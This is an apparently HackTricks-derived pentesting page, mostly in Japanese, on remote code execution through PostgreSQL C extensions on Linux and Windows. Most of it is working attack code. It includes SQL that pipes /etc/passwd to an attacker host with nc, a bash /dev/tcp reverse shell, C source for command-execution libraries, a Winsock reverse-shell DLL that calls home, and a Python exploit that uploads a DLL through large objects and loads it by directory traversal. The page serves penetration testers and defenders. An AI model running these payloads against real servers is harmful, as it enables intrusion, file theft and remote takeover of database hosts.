RCE with PostgreSQL Extensions

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

PostgreSQL拡張機能

PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できるようにしています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、または型を提供します。

バージョン8.1以降、拡張ライブラリに特定の要件が課されています:特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。

また、PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。

LinuxでのRCE

詳細については、https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/をチェックしてください

PostgreSQL 8.1およびそれ以前のバージョンからシステムコマンドを実行するプロセスは、明確に文書化されており、簡単です。これを使用することが可能です:Metasploitモジュール

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64からバイナリファイルを書き込む

Postgresでファイルにバイナリを書き込む場合、base64を使用する必要があるかもしれません。その場合に役立つ情報です:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

ただし、より新しいバージョンで試みると、次のエラーが表示されました:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

このエラーは、PostgreSQLのドキュメントで説明されています:

動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルに適切な内容を持つ「マジックブロック」が含まれているかどうかをチェックします。これにより、異なるPostgreSQLのメジャーバージョン用にコンパイルされたコードなど、明らかな非互換性をサーバーが検出できます。マジックブロックはPostgreSQL 8.2以降で必須となります。マジックブロックを含めるには、モジュールのソースファイルの1つ(ただ1つ)に、fmgr.hを含めた後に次のように記述します:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

PostgreSQLバージョン8.2以降、システムを悪用する攻撃者のプロセスはより困難になりました。攻撃者は、すでにシステムに存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、PostgreSQLの互換性のあるメジャーバージョンに対してコンパイルされている必要があり、特定の「マジックブロック」を含める必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上昇し、システムのアーキテクチャとバージョンの互換性についてより深い理解が必要とされます。

ライブラリをコンパイルする

PostgreSQLのバージョンを取得する:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

以下の手順で、システムにそのバージョンをインストールしてください:

sudo apt-get install postgresql-9.6
apt install postgresql postgresql-server-dev-9.6

そして、ライブラリをコンパイルしてください:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

次に、コンパイルされたライブラリをアップロードして、次のコマンドを実行します:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

次のライブラリは事前にコンパイルされており、さまざまなPostgreSQLバージョンで利用可能であり、次のようにしてこのプロセスを自動化できます(PostgreSQLアクセス権がある場合):

WindowsでのRCE

次のDLLは、バイナリの名前実行回数を入力として受け取り、それを実行します:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

次のzipファイルにコンパイルされたDLLを見つけることができます:

このDLLに実行するバイナリと実行回数を指定できます。この例では、calc.exeを2回実行します:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

こちらでこのリバースシェルを見つけることができます:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

最新のProstgresバージョンでのRCE

PostgreSQLの最新バージョンでは、superuserが特定のディレクトリ(WindowsのC:\Program Files\PostgreSQL\11\libや*nixシステムの/var/lib/postgresql/11/libなど)以外から共有ライブラリファイルを読み込むことが禁止される制限が課されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによって書き込み操作から保護されています。

これらの制限にもかかわらず、認証済みのデータベースsuperuserは「大きなオブジェクト」を使用してファイルシステムにバイナリファイルを書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠なC:\Program Files\PostgreSQL\11\dataディレクトリ内での書き込みを含みます。

CREATE FUNCTIONコマンドから生じる重大な脆弱性は、データディレクトリへのディレクトリトラバーサルを許可しています。その結果、認証済みの攻撃者はこのトラバーサルを悪用して共有ライブラリファイルをデータディレクトリに書き込み、その後読み込むことができます。この攻撃により、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行することが可能となります。

攻撃フロー

まず最初に、大きなオブジェクトを使用してdllをアップロードする必要があります。その方法はこちらで確認できます:

pageBig Binary Files Upload (PostgreSQL)

この例では、拡張子をpoc.dllとしてデータディレクトリにアップロードした後、次のようにそれを読み込むことができます:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

.dll拡張子を追加する必要はないことに注意してください。create関数がそれを追加します。

詳細については、元の出版物をこちらで読んでください その出版物では、ポストグレス拡張機能を生成するために使用されるコードが示されていました(ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください)。 同じページでは、このテクニックを自動化するためのエクスプロイトが提供されました:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Last updated